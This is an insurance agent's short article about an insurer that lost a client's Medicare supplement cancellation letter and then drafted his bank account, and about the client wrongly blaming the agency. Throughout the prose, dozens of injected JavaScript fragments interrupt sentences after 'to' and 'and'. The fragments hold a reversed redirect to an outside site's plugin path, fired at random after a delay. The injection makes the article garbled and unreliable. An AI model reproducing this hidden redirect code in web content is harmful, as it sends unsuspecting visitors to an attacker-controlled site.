By Woodrow Wilcox
On January 6, 2017, my boss gave me a printed copy of a phone message from a client who lives in Lowell, Indiana.
The client was upset with our agency. He accused us of not sending the letter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cancel a policy which he signed. The letter was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cancel a Medicare supplement insurance policy as of January 1, 2017 because he had bought a new policy from a different company which would be effective on that date. But, the old insurance company did not cancel the policy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drafted his bank account in January.
The founder of our insurance agency ordered me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and respond toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the client’s angry phone call. I was on hold about a half hour toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to talk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one of the representatives of the insurance company. The insurance company acknowledged getting the letter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cancel on December 6, 2016 but claimed that it temporarily “lost” or “misplaced” the letter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cancel the policy because the insurance company was very busy transferring information from one computer system toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another. The representative apologized for hurting our client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and promised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fix the problem andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and refund money toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client right away.
I explained all this toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our client in a letter. I asked the client that if he had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told anyone that he was upset with our agency for this problem, then I’d like him toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell those same people that our agency did not cause the problem. I asked him toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put the blame where it belonged – with the insurance company. Please, don’t blame us for something that we did not do andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and over which we had no control.
Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. He has saved clients of that agency over one million dollars by fighting mistakes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fraud in the Medicare system. He has saved senior citizens over one million dollars by fighting mistakes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fraud in the Medicare system. He wrote the book SOLVING MEDICARE PROBLEM$ (www.SolvingMedicareProblems.com) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and posts articles at www.WoodrowWilcox.com.
© Woodrow Wilcox 2017